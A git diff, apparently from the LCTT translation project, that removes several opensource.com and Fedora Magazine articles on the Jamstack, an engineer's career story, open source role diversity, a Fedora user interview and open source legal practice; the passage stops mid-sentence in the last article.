_JavaScript_ available in modern browsers, calling on _APIs_, and enriching the underlying site content delivered with _markup_ (HTML) are the J, A, and M in the Jamstack name. They identify properties that allow sites to move far beyond static sites without the need for complex and expensive active-hosting infrastructure. - -But whether you decide to use all or just some of these attributes, the Jamstack's key principle is that the assets are created in advance to vastly improve hosting and development workflows. It's a shift from the higher-risk, just-in-time request-servicing method to a simplified, more predictable, prepared-in-advance approach. - -As [Aaron Swartz][7] succinctly put it way back in 2002, "Bake, don't fry" your pages. - -### 4 benefits of using Jamstack - -Embracing this model of decoupling the generation (or rendering) of assets from the work of serving assets creates significant opportunities. - -#### Lowering the cost of scaling - -In a traditional stack, where views are generated for each incoming request, there is a correlation between the volume of traffic and the computation work done on the servers. This might reach all levels of the hosting stack, from load balancers and web servers to application servers and database servers. When these additional layers of infrastructure are provisioned to help manage the load, it adds cost and complexity to the environment and the work of operating the infrastructure and the site itself. - -Jamstack sites flatten that stack. The work of generating the views happens only when the code or content changes, rather than for every request. Therefore, the site can be prepared in advance and hosted directly from a CDN without needing to perform expensive computations on the fly. Large pieces of infrastructure (and the work associated with them) disappear. - -In short: Jamstack sites are optimized for scale by default. - -#### Improving speed - -Traditionally, to improve the hosting infrastructure's response time, those with the budget and the skills would add a CDN. Identifying assets that might be considered "static" and offloading serving those resources to a CDN could reduce the load on the web-serving infrastructure. Therefore, some requests could be served more rapidly from a CDN that is optimized for that task. - -With a Jamstack site, the site is served entirely from the CDN. This avoids the complex logic of determining what must be served dynamically and what can be served from a CDN. - -Every deployment becomes an operation to update the entire site on the CDN rather than across many pieces of infrastructure. This allows you to automate the process, which can increase your confidence in and decrease the cost and friction of deploying site updates. - -#### Reducing security risks - -Removing hosting infrastructure, especially servers that do computation based on the requests they receive, has a profound impact on a site's security profile. A Jamstack site has far fewer attack vectors than a traditional site since many servers are no longer needed. There is no server more secure than the one that does not exist. - -The CDN infrastructure remains but is optimized to serve pre-generated assets. Because these are read-only operations, they have fewer opportunities for attack. - -#### Supercharging the workflow - -By removing so many moving parts from site hosting, you can vastly improve the workflows involved in developing and deploying them. - -Jamstack sites support [version control from end to end][8] and commonly use Git and Git conventions to do everything from defining and provisioning new environments to executing a deployment. Deployments no longer need to change the state, resources, or configuration of multiple pieces of hosting infrastructure. And they can be tested locally, on staging environments, and in production environments with ease. - -The approach also allows more comprehensive project encapsulation. A site's code repository can include everything needed to bootstrap a project, including defining the dependencies and operations involved in building the site. This simplifies onboarding developers and walking the path to production. (Here's [an example][9].) - -### Jamstack for all - -Web developers familiar with a wide variety of tools and frameworks are embracing the Jamstack. They are achieving new levels of productivity, ignited by the recognition that they can use many tools and languages that put more power and ability in their hands. - -Open source libraries and frameworks with high levels of adoption and love from the development community are being used in combination and with third- and first-party APIs to produce incredibly capable solutions. And the low barriers of entry mean they are easier to explore, leading to higher levels of developer empowerment, effectiveness, and enthusiasm. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/jamstack - -作者:[Phil Hawksworth][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/phil-hawksworth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/web-cms-build-howto-tutorial.png?itok=bRbCJt1U (spiderweb diagram) -[2]: https://www.netlify.com/jamstack?utm_source=opensource.com&utm_medium=jamstack-benefits-pnh&utm_campaign=devex -[3]: https://jamstack.org/?utm_source=opensource.com&utm_medium=jamstack-benefits-pnh&utm_campaign=devex -[4]: https://v8.dev/ -[5]: https://www.redhat.com/en/topics/api/what-are-application-programming-interfaces -[6]: https://en.wikipedia.org/wiki/LAMP_(software_bundle) -[7]: http://www.aaronsw.com/weblog/000404 -[8]: https://www.netlify.com/products/build/?utm_source=opensource.com&utm_medium=jamstack-benefits-pnh&utm_campaign=devex -[9]: https://github.com/philhawksworth/hello-trello diff --git a/sources/talk/20200902 My dramatic journey to becoming an open source engineer.md b/sources/talk/20200902 My dramatic journey to becoming an open source engineer.md deleted file mode 100644 index 34ab585578..0000000000 --- a/sources/talk/20200902 My dramatic journey to becoming an open source engineer.md +++ /dev/null @@ -1,137 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (My dramatic journey to becoming an open source engineer) -[#]: via: (https://opensource.com/article/20/9/open-source-story) -[#]: author: (Anisha Swain https://opensource.com/users/anishaswain) - -My dramatic journey to becoming an open source engineer -====== -This is the story of how I grew from hating to loving open source -technology. -![Love and hate][1] - -It's been five years and a heck of a journey from being a non-programmer to becoming an associate software engineer at Red Hat. It's a story worth telling—not because I have achieved a lot, but because of so much drama and so many pitfalls. So grab a cup of coffee, and I will share the unturned pages of my love story with technology. - -People say love is as powerful as hate. And love stories that start with hate are often the most passionate ones. My love story with technology was just like that. I got into the world of programming in my freshman year of college. It was my most painful subject. Even though I have always been passionate about futuristic technologies, I didn't know how to move forward towards my passion. - -Coming from an interest in instrumentation and electronics engineering, my distaste for programming increased even more with my first failed attempt at passing an interview for my college's technical society, as 80% of the questions were about programming. In my second attempt, I went in prepared, all set for my war with programming. And, luckily, I cleared it. - -### Getting started - -As the phrase goes, sometimes it takes a wrong turn to get you to the right place. At first, it did feel like a wrong turn. Then bit by bit, I learned something precious, not through learning, but by _listening_. I started my journey by Googling the technical terms I'd heard people utter, which is how I started growing. I came to learn about web design, and the first website I designed was the front page for my college hostel. I had never been so excited about a project before. That simple HTML/CSS website was nothing less than magic to me. - -Have you heard of love at first sight? It was like that. At that moment, I fell in love with the work I was doing. I continued learning different web design frameworks (like [Bootstrap][2] and [Material Design][3]), libraries like [jQuery][4], and web development techniques like [Ajax][5]. - -### Gaining experience - -In 2016, I received my first internship, working as a frontend developer. Even though it lasted only a short time, it made me realize that I can contribute code, and it filled me with even more confidence. - -![Anisha Swain sitting by water][6] - -(Anisha Swain, [CC BY-SA 4.0][7]) - -Gradually, I started learning server-side code, like [Node.js][8], the [Express][9] framework, [MongoDB][10], [MySQL][11], and more. My seniors helped make my road to understanding the client-server interaction fairly easy. - -We heard about a hackathon organized by Tata Consultancy Services. We applied for it with an idea to add [gamification to cleaning][12] public places. (This is probably still the most engrossing project I have worked on to date.) And we were selected! After about a month of preparation, I was going to Mumbai, which was my first trip outside my state, Odisha. Today, when people ask me about young girls being banned from such opportunities, I answer, "tell me about it." I was the only girl on this trip and, yes, it was a little scary. But when I look back, I realize if I hadn't taken that calculated risk at that time, I probably wouldn't have received opportunities to travel in the future. - -In time, I started learning Python, and the area that interested me the most was image processing. I started doing small projects on the [OpenCV][13] computer vision and machine learning library and later collaborated on making a prototype of a self-driving car—just a small one with basic features. - -### My open source debut - -Another turning point came when I learned about open source programs while participating in the Rails Girls Summer of Code (RGSoC) in 2017 with [Manaswini Das][14]. RGSoC is a global fellowship program for women and non-binary coders. Students receive three-month scholarships to work on existing open source projects and expand their skill sets. - -I participated in a project named [HospitalRun][15]. It was an exciting—and honestly scary—experience for me. It was exciting because, for the first time, it felt like I was part of something meaningful, broader, and significant. A simple change I made would be visible to people all over the world. My name would be on the contributor list for a large community. It might sound like nothing, but at that time, it was like a wave of motivation. It was scary because the application was in [Ember.js][16], and learning Ember.js so quickly is an experience that can't be described. I will be ever grateful to my mentors, [Joel Worrall][17] and [Joel Glovier][18], for all the support they provided our group. Even though we didn't get selected for the program, this experience will always be a shining part of my story. - -The best thing about working with technology is, it never felt like work. Neither then nor now. It was always like I was self-reflecting on a computer screen. - -### Disappointment, then winning - -The Summer Research Fellowships Program (SRFP), offered by the Indian Academy of Sciences (IAS), is a summer immersion experience that supplements research activities during the academic year. I wanted to work under this renowned research fellowship, and in 2017, I anxiously looked for my name among the awardees. Alas! My name wasn't there. And I was upset. Despite having the slimmest of chances to receive a fellowship, I had reviewed the profiles of all the professors who were working in the field of signal and image processing, shortlisted around 30 of them, and gone through their research papers. As I had some experience with OpenCV and image processing, I was somehow expecting to be selected. - -However, I moved on and applied for RGSoC. I devoted two months to the application, but, again, my team wasn't selected. The semester was edging to an end, and I had no internships in hand. I was disheartened and clueless about what would happen next. I started applying for local internships, and I was completely upset. - -But I was not aware that the IAS fellowship's second selection list had not yet been announced. On May 2, I got a message from one of my seniors with a link to the IAS second selection result list. And voila! I found my name. Anisha Swain. I couldn't believe my eyes. The credentials matched mine! I was selected to work on image processing. - -The confirmation email said I was going to work in Delhi. But there was a problem with where I could live. The accommodation list was only for the people who were selected for the fellowship on the first list. I had a dilemma. My parents strictly banned me from going without proper accommodation. But when there is a will, there is a way, and I found I could stay on the Delhi University campus. In two months at Delhi, while doing research, having fun, and traveling, I experienced everything I could. I traveled to all the metro cities, and Delhi is the most beautiful city I have ever been to. - -### When one door closes, another opens - -In 2018, Google Summer of Code (GSoC) was just around the corner. GSoC is an annual international program where students are awarded stipends for completing a free and open source software coding project during the summer. Nothing was more prestigious to me at the time than getting into this program. Now I wonder why. I still see students going crazy over it, as if nothing else is left in life if they don't crack it. I was also upset at not being selected. Not once but twice. But as they say, "The journey is as important as the destination." - -What matters more than getting selected is the learning you do during the process, as it will always stay with you. While applying to GSoC, I learned concept visualization with [D3.js][19] and [Three.js][20]. - -Even though I couldn't crack GSoC, my learning helped me land another internship, in 2019, at Mytrah Energy in Hyderabad. It was my first industrial experience, and I learned to do data visualization on a large scale. I dealt with data in JSON and CSV formats and created interactive charts with SVG and Canvas. The experience also helped me deal with my fear of getting into corporate life. It was a brief look into the life I was aspiring for. - -### Walking into open source - -Some of my friends selected for GSoC shared with me LinkedIn contact information for members of Red Hat's talent acquisition team. In 2018, I messaged them and sent my resume and personal description, but didn't receive a reply for more than a year. - -But then I met them at the 2019 Grace Hopper Celebration India (GHCI) conference, Asia's largest gathering of women technologists. During the career fair, they asked for my resume, and, to my utter surprise, they remembered me from my LinkedIn messages a year before. Soon, I got an interview call. During my first interview, I lost my connection and the interview couldn't be completed, but they were kind enough to understand the situation and reschedule it. The next interview round took around three hours, and just a few hours later, I got a job offer by email. It is the best thing that has ever happened to me! - -![An office desk][21] - -(Anisha Swain, [CC BY-SA 4.0][7]) - -Today, I am an associate software engineer for Red Hat's Performance and Scale Engineering team. I work with [React][22] and design frameworks with [Ant Design][23] and [PatternFly][24]. I also deal with web technologies like [Elasticsearch][25], [GraphQL][26], and [Postgres][27]. I try to share my knowledge with others through conferences, meetups, and articles. None of this could have been possible without my "second family" from the [Zairza Cetb][28] club. This makes me realize the power of a community and the important role our surroundings play in our development. - -### Rules for success - -![Anisha Swain in snow][29] - -(Anisha Swain, [CC BY-SA 4.0][7]) - -Through my journey, I have learned many things about getting where you want to be in life, including: - - 1. Hard work is as important as smart work. - 2. Things will eventually be connected and fall into place if you have the desire to grow. - 3. Work for 100% if you want to achieve 80%. - 4. Stay hungry, stay foolish, and stay humble. - 5. Always give back knowledge to the community. - - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/open-source-story - -作者:[Anisha Swain][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/anishaswain -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/business_lovehate_0310.png?itok=2IBhQqIn (Love and hate) -[2]: https://getbootstrap.com/ -[3]: https://material.io/design -[4]: https://jquery.com/ -[5]: https://en.wikipedia.org/wiki/Ajax_%28programming%29 -[6]: https://opensource.com/sites/default/files/uploads/anishaswain_seaside.jpg (Anisha Swain sitting by water) -[7]: https://creativecommons.org/licenses/by-sa/4.0/ -[8]: https://nodejs.org -[9]: https://expressjs.com/ -[10]: https://www.mongodb.com/ -[11]: https://www.mysql.com/ -[12]: https://github.com/Anisha1234/Clean_Clan -[13]: https://opencv.org/ -[14]: https://www.linkedin.com/in/manaswini-das/ -[15]: https://hospitalrun.io/ -[16]: https://emberjs.com/ -[17]: https://www.linkedin.com/in/jworrall/ -[18]: https://www.linkedin.com/in/jglovier/ -[19]: https://d3js.org/ -[20]: https://threejs.org/ -[21]: https://opensource.com/sites/default/files/uploads/anishaswain_desk.jpg (An office desk) -[22]: https://reactjs.org/ -[23]: https://ant.design/ -[24]: https://www.patternfly.org/ -[25]: https://www.elastic.co/elasticsearch/ -[26]: https://graphql.org/ -[27]: https://www.postgresql.org/ -[28]: https://medium.com/u/a9c306e657d0?source=post_page-----aa2c4cb5d924---------------------- -[29]: https://opensource.com/sites/default/files/uploads/anishaswain_snow.jpg (Anisha Swain in snow) diff --git a/sources/talk/20200903 Why your open source project needs more than just coders.md b/sources/talk/20200903 Why your open source project needs more than just coders.md deleted file mode 100644 index 7ca53d1f63..0000000000 --- a/sources/talk/20200903 Why your open source project needs more than just coders.md +++ /dev/null @@ -1,68 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why your open source project needs more than just coders) -[#]: via: (https://opensource.com/article/20/9/open-source-role-diversity) -[#]: author: (Silona https://opensource.com/users/silona) - -Why your open source project needs more than just coders -====== -Developers alone don't create open source projects that meet a variety -of needs for a long shelf life; it's time to welcome more roles and -talent. -![Teamwork starts with communication across silos][1] - -Why do open source projects fail? - -Lack of funding is a major factor, of course, but it's far from the only reason that open source projects fail to achieve sustainability. Sometimes there's a lack of understanding of how to create a product for a broad market, or some fundamental misstep with intellectual property rights (IPR)—such as failing to properly license your code. - -It's hard for any open source project to sustain if it doesn't get these types of basics right. Collaboration across boundaries and the ability to iterate and expand are hindered, and innovation is stifled. I see these fatal flaws especially in a lot of humanitarian projects—_passion projects_—and it is heartbreaking. - -### Building role diversity - -Open source has tended to thrive in instances where it has been developers writing code for developers. That’s why so many underlying technologies developed via open source (Apache and Linux, for example) have succeeded. - -However, when it comes to creating quality user experiences and products for people other than developers, open source's record is spottier. Why is that? - -One of the big reasons is because the majority of open source communities don’t encourage or even welcome people of diverse expertise. Sometimes, there’s no acknowledgement of them. The coders get all of the love, and roles and contributions beyond coding are not even thought of. - -Sustainable open source demands that communities embrace and reward a lot of different talents. There are the developers, most definitely, and they must be core for any open source project to be successful. But without contributions from marketing expertise, for example, you might not thoroughly understand what the users want. Without the input of product management, you run the risk of failing to develop a product for users other than other developers. Businesses normally invest in these and other roles because their varied contributions are critical to delivering successful results and creating products that are production ready with community support for long term sustainability. - -One of the conflicts that I often find amongst open source development communities is an animosity towards product or project management. It’s true that product management especially in corporate places has control issues—they may try to do things like dominate a market, or come in from a perspective of scarcity rather than abundance. It shows in behavior, and it’s antithetical to the spirit of open source. - -But, to be fair, I think it is also true that we developers have never been taught how to work well with product management. We are told, "More people would use your product if you just did X," and we respond, "No, you can't tell me anything about my baby." We don't want to hear, "Yeah, but if you change the diaper, more people would like your baby," even if it's true. - -Open source hasn't always embraced talent other than developers, and this is what must change in order to foster long term stability. - -### Birthing IEEE SA Open - -Putting in place the tools and processes needed to encourage project sustainability is our current focus in architecting and designing [IEEE SA Open][2]. To that end, bringing in role diversity and building a platform and a tool that invites and rewards those diverse contributions is crucial in creating IEEE SA Open. - -We are creating our community, marketing, and technology onboarding guides to ensure that incoming projects automatically get a level of support that they wouldn't normally get from a technology platform. We're looking at raising the maturity model into advanced processes and practices. For example, progressing to levels 4 (quantitatively managed) and 5 (optimizing) of [Capability Maturity Model Integration][3] (CMMI) requires measurement. Getting our processes right from the outset and assigning the right metrics to inform better, more consistent evaluations will support our sustainability. - -This is one of the places where our linkage with IEEE is so important. One of the things that the standards world does especially well is process, and IEEE in particular has a history of making sure that its processes are fair and predicated on advancing technology for the benefit of humanity. With more than 419,000 members in over 160 countries, IEEE is the world’s largest technical professional organization dedicated to advancing technology for humanity. Its roots go back to 1884 when electricity and telecommunications began to become a major influence in society, and today IEEE has over 1,200 active standards and more than 650 standards under development. - -IEEE SA Open can borrow on those best practices and lessons learned in sustainability that IEEE has acquired by experience. We aim to bridge the gap between global standards development and open source developer communities. It is definitely a balancing act, and we respect that! - -We’re reaching out to people all over the global open source and standards communities in a diverse set of roles to be engaged in creating IEEE SA Open. You can participate in that birthing project, and now is the time. If there are things that are super important to you and that you’ve seen neglected in open source, this is the time to engage, share your experiences and influence the creation of IEEE SA Open. You can help make sure we don’t make those mistakes. [We need your unique insights and input.][2] - -You don't need to be a master coder to contribute to open source. Jade Wang shares 8 ways you can... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/open-source-role-diversity - -作者:[Silona][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/silona -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/happy-team-sticker-laptop.png?itok=91K77IgE (Teamwork starts with communication across silos) -[2]: https://standards.ieee.org/initiatives/opensource?utm_source=External&utm_medium=PR&utm_campaign=IEEE-SA-Open -[3]: https://en.wikipedia.org/wiki/Capability_Maturity_Model_Integration diff --git a/sources/talk/20200911 Ankur Sinha- How do you Fedora.md b/sources/talk/20200911 Ankur Sinha- How do you Fedora.md deleted file mode 100644 index 9d965e9840..0000000000 --- a/sources/talk/20200911 Ankur Sinha- How do you Fedora.md +++ /dev/null @@ -1,151 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Ankur Sinha: How do you Fedora?) -[#]: via: (https://fedoramagazine.org/ankur-sinha-how-do-you-fedora/) -[#]: author: (climoiselle https://fedoramagazine.org/author/climoiselle/) - -Ankur Sinha: How do you Fedora? -====== - -![][1] - -We recently interviewed Ankur Sinha on how he uses Fedora. This is part of a [series][2] on the Fedora Magazine. The series profiles Fedora users and how they use Fedora to get things done. Contact us on the [feedback form][3] to express your interest in becoming an interviewee. - -### Who is Ankur Sinha? - -Ankur is a Computational Neuroscientist and has just started his first post-doctoral fellowship at University College London and a FLOSS enthusiast trying to spread the message of FOSS and evidence based science. Ankur started using Linux a decade ago, when he was introduced to Linux in a [LUG][4] doing an install fest during his undergraduate degree. - -Ankur loves reading: - -_“I read a lot and tend to get attached to characters from books quite easily. Holmes, Poirot (I’m a detective fiction fan), Francisco D’Anconia (fan of the book Atlas Shrugged, but not so much Ayn Rand’s philosophy), lots of random characters from books I’d read. I also read lots of Hindi comics as a child—Doga, Super commando Dhruv, Naagraj, and Chacha Chaudhary—loved them all!”._ - -As far as all time favorite movies go, [Swades][5] comes to his mind. His favorite genre is science fiction thrillers (think “The Prestige” and ” Predestination”). When not busy working or engaging people on IRC channels, he enjoys listening to podcasts and classic rock. - -Ankur’s favorite food is his mother’s Chhole Bhature. Otherwise, if he’s away from home, his go-tos are Butter chicken, Butter Naan, and Chilli Chicken from North Indian restaurants. - -### The Fedora Community - -Ankur found about Fedora after a distro hopping phase in 2008, and since then he has been a fedora user. His first memory of the Fedora community is an IRC workshop on packaging fonts that the Fedora India community had organised back in 2008. Talking to and meeting other community members has been one of the most exciting parts of the Fedora community for him. _“I found this great bunch of people to hang out and geek out with! It was so much fun, and extremely educational both in terms of technical knowledge and the social/philosophical side of FOSS and life in general.”_ - -When asked what he would change in the Fedora Project if he could change one thing, he said that he prefers “Smaller tweaks” since _“Smaller tweaks also allow work to be spread out, and that really helps”_. Specifically, he would like to see more discussion on the philosophy and nuances of FOSS in the community. - -_"Perhaps we all know it so well that we take it for granted and focus on the work that needs to be done. It’s so easy to get bogged down in the work, though, that I worry that we forget the bigger picture sometimes. The end for us is to promote FOSS, and everything we do is the means to this end. So, I worry that the means sometimes becomes the end for us — that we focus so much on producing deliverables that we forget why we produce them."_ - -Since he works in academia and science, Ankur would like the Fedora community (and FOSS in general) to get more involved with academic/scientific communities. _“I think we have an excellent platform to enable education and research. NeuroFedora is a start in this direction.”_ - -He wishes that other people knew that the Fedora community are not just OS developers, but a global community, and he’d like folks to just hang out and communicate even if they’re not contributing in the traditional sense of the word. - -Ankur tries to help wherever he can, especially if newbies are involved. Nowadays, he tries to focus more on [NeuroFedora][6] as it fits well for his day-job and there’s so much to do in this Field + Open Science. - -Ankur learnt most of the things from his >10 years of experience in Fedora and FOSS. He had learned theories of software development at undergrad but got to experience practical implementations from his colleagues in the community. He is a firm believer of _“No question is a stupid question”_. He adds that Fedora is perfect because it gets better as you start working with it. - -His piece of advice for anyone thinking of getting involved in Fedora is to just go ahead and start. One doesn’t need to know anything at all. All of it can be learned over time. Secondly, don’t focus on tasks. Yes, that’s a good way of learning, but it is far more important to get to know the people of Fedora! As one meets more people, one learns more about how Fedora works and one has way more fun working and learning!! - -Just like a lot of our community members, Ankur struggles from time constraints. His new challenge is to find more time to work on FOSS and Fedora. During his college years, it was to learn more and more. - -One of the challenges Ankur faces about promoting open source is to explain to non-FOSS people that Windows/Mac aren’t the only OSes present. He thinks that having Fedora shipped with Lenovo systems will give a start for the community. It makes Fedora and FOSS more "official". - -### What Hardware? - -Ankur has three machines and runs Fedora 32 on each of them: - -![Ankur’s Desk][7] - - * Thinkpad E490 laptop - * a custom workstation that university IT set up for research work - * a headless MacPro5,1 - * 2x Microsoft Sculpt Ergonomic keyboard/mouse/numpad - * Netgear wifi extender - * TP-Link TL-PA8033PKIT AV1300 3-Port Gigabit Passthrough Powerline Adapters - * Moto g7 phone with Android 10 - - - -### What Software? - -Fedora 32 workstation, and server on the MacPro. - -– [Workstation][8]/Gnome3 with a few extensions: [caffeine][9], [pomodoro][10], - -  [syncthing][11]. - -– [byobu][12] with [tmux][13]: multiple sessions: default, work, fedora - -– [taskwarrior][14], [vit][15], [timewarrior][16], [gnome-pomodoro][10], [gnome-calendar][17]/[evolution][18] for calendars - -– [neomutt][19] with [msmtp][20] \+ [offlineimap][21] \+ [notmuch][22] for e-mail - -– [vim][23] for *everything* possible – [vimrc link][24] - -– [qutebrowser][25], [weechat][26], [zathura][27], [vimiv][28] - -– syncthing + dropbox + git for syncing/version control - -For research work: - -– [NEST][29] \+ lots of python and [Gnuplot][30] for analysis, LaTeX for writing - -  (stuff from NeuroFedora!) - -– [inkscape][31] \+ [gimp][32] \+ [dia][33] \+ [freemind][34] for figures/mind mapping - -– [jabref][35] for bibliography management - -Other bits: – occasional gamer? - -– [Oad][36] \+ [endless sky][37] \+ [openttd][38]! - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/ankur-sinha-how-do-you-fedora/ - -作者:[climoiselle][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/climoiselle/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/09/hdyf-asinha-816x346.png -[2]: https://fedoramagazine.org/tag/how-do-you-fedora/ -[3]: https://fedoramagazine.org/submit-an-idea-or-tip/ -[4]: https://en.wikipedia.org/wiki/Linux_user_group -[5]: https://www.imdb.com/title/tt0367110/ -[6]: https://docs.fedoraproject.org/en-US/neurofedora/overview/ -[7]: https://fedoramagazine.org/wp-content/uploads/2020/08/WhatsApp-Image-2020-08-28-at-3.27.16-PM-768x1024.jpeg -[8]: https://getfedora.org/en/workstation/ -[9]: https://extensions.gnome.org/extension/517/caffeine/ -[10]: https://github.com/codito/gnome-pomodoro/ -[11]: https://docs.syncthing.net/ -[12]: https://www.byobu.org/ -[13]: https://github.com/tmux/tmux -[14]: https://taskwarrior.org/ -[15]: https://github.com/scottkosty/vit -[16]: https://timewarrior.net/ -[17]: https://wiki.gnome.org/Apps/Calendar -[18]: https://wiki.gnome.org/Apps/Evolution -[19]: https://neomutt.org/ -[20]: https://marlam.de/msmtp/ -[21]: http://www.offlineimap.org/ -[22]: https://notmuchmail.org/ -[23]: https://www.vim.org/ -[24]: https://github.com/sanjayankur31/vimfiles -[25]: https://www.qutebrowser.org/ -[26]: https://weechat.org/ -[27]: https://pwmt.org/projects/zathura/ -[28]: https://karlch.github.io/vimiv-qt/index.html -[29]: https://www.nest-simulator.org/ -[30]: http://gnuplot.info/ -[31]: https://inkscape.org/ -[32]: https://www.gimp.org/ -[33]: http://dia-installer.de/ -[34]: http://freemind.sourceforge.net/wiki/index.php/Main_Page -[35]: http://www.jabref.org/ -[36]: https://play0ad.com/ -[37]: http://endless-sky.github.io/ -[38]: https://www.openttd.org/ diff --git a/sources/talk/20200911 How open source legal teams can get to yes.md b/sources/talk/20200911 How open source legal teams can get to yes.md deleted file mode 100644 index 3470ea0806..0000000000 --- a/sources/talk/20200911 How open source legal teams can get to yes.md +++ /dev/null @@ -1,77 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How open source legal teams can get to yes) -[#]: via: (https://opensource.com/article/20/9/advice-open-source-lawyer) -[#]: author: (Jeffrey Robert Kaufman https://opensource.com/users/jkaufman) - -How open source legal teams can get to yes -====== -Open source law has unusual requirements for success. Learn ways lawyers -can help their organizations find a path to open. -![whiteboard collaboration with the team][1] - -As I shared in the [first part][2] of this two-part series, I am an open source lawyer for Red Hat. One important part of my job is to provide information to other companies, including their in-house counsel, about how Red Hat builds enterprise-class products with a completely open source development model and to answer their questions about open source licensing in general. After hearing about Red Hat's success, these conversations often turn to discussions about how their organization can evolve to be more open source-aware and capable, and lawyers at these meetings regularly ask how they can modify their practices to be more skilled in providing open source counsel to their employees. In these two articles, I'll share what I normally tell in-house counsel on these topics. - -### Always find a path to open - -My employer, Red Hat, is unique in its use of open source software in that our development model begins in the open source community with thousands of contributors and results in finished products that are tried, tested, and trusted. More specifically, through our unique development model, we start with community-created open source software and build upon each project to harden security, fix bugs, patch vulnerabilities, and add new features. We then contribute these improvements back to each project, so the entire open source community can benefit. The utilities to this approach are significant, including: - - 1. Leveraging innovation from others outside your organization by collaborating outside your internal teams - 2. Avoiding the cost and inefficiency of developing and maintaining an open source solution by yourself when there are existing or potential communities working on the same problem with which you could collaborate - 3. Through productive collaboration with partners and upstream project communities, avoiding the costly consequences of maintaining a downstream fork of the main project - 1. Some companies find it tempting to create non-public forks of upstream code as a quick way to address a specific use case or because they are not inclined to collaborate in a community. However, the long-term maintenance burdens of such forks can be prohibitive because of increased development costs, loss of interoperability, and other reasons. By contrast, concentrating development in the original upstream community enables sharing development costs among all participants. - - - -With few exceptions (such as Red Hat), most organizations that may use open source software have a proprietary licensing model (or the equivalent concept for software-as-a-service companies) and license proprietary software as part of their business. Such organizations feel that they have software components that provide some competitive advantage and do not wish to see those become available to others under open source terms. That is understandable. I would, however, encourage any open source lawyers counseling such companies to urge their clients towards an open source development model, especially for any software bits that are non-differentiating and common. - -For example, if your company develops applications for mobile phones and you need a software module to read and write PNG image files, it would be much less expensive to use one of the popular open source PNG software modules available on GitHub. Encoding and decoding PNG images is likely a non-differentiating element to your business, so why spend precious engineering time to write your own version? Furthermore, writing your own module for this function may also lead to compatibility issues with other software that uses a commonly used open source module. Why? Although your module and the open source module may have been written to encode and decode to the published PNG specifications, oftentimes, there may be different interpretations of the specifications or errors in implementation. Everyone using the same module for this function ensures compatibility for most users and lowers the cost of development and maintenance. - -It must also be appreciated that certain software may be required to remain proprietary and not subject to open source terms. Depending on the software architecture of your system and the open source software licenses in use, software bits that are intended to remain proprietary may become subject to open source license terms unless certain actions are taken (beyond the scope of this article). This is where some counseling to clients about license choice and architecture will become useful. - -### Develop scalable solutions - -For organizations that primarily license proprietary software grow and increase their use of open source software, review and approval requirements may grow (even exponentially in my experience). As such, such an organization may find itself in a difficult situation due to resource constraints. Scalable solutions that must be put into place are described below. - -#### Empower and delegate to others - -Lawyers cannot and should not be gatekeepers. It is inefficient and will most certainly cause bottlenecks in development and release times, producing frustration and lost revenue. Instead, explore delegating authority to capable individuals in product or project management and engineering. This allows an organization to scale efficiently and effectively. Educating your clients (see the next section) is vitally important for this to succeed. - -One approach I have taken is to provide open source training to entire engineering organizations so that they can make basic licensing and architecture choices, while providing more specialized training to software leads to enable them to provide more complex guidance and decisions. Consider providing clear limits on authority at each level, including what types of issues and decisions must be escalated to you as their open source legal attorney. The specific levels of delegation for your organization will be a function of your team's experience with open source and sensitivities to certain open source concerns. - -#### Educate clients - -I have found that training is one of the most effective tools to migrate your organization to be more open source-aware. Training your software engineers and product managers is crucially important. Let me elaborate. - -Although your software engineers are on the frontlines and may be quite knowledgeable about open source issues and licensing in general, it is still important to train them on your organization's particular requirements. For example, your company may permit only permissive open source licenses to be used and may have certain requirements for its copyright notices and source availability. To avoid problems in development that must be corrected later (a costly and time-consuming exercise), it is best to train engineers to minimize the likelihood of improper behavior, especially at the beginning of any development process (see the next section). - -Product managers must also be trained. In many companies, a product manager is responsible for the classic four P's of marketing—Product, Price, Position, and Promotion—and is accountable for the full lifecycle of a product from cradle to death. All these aspects of a product manager's job may be impacted by the use of open source software. Understanding the requirements when using open source software is useful to them for the same reasons mentioned above. In addition and more importantly, product managers' significant influence in an organization means they are often able to effectuate any required change to process and policy. Product managers may become one of your strongest advocates for instituting process changes towards "open". - -#### Early detection - -It is very difficult and costly to resolve open source licensing issues near the end of the development process. As software approaches its release date, the architecture and the open source software modules have already been 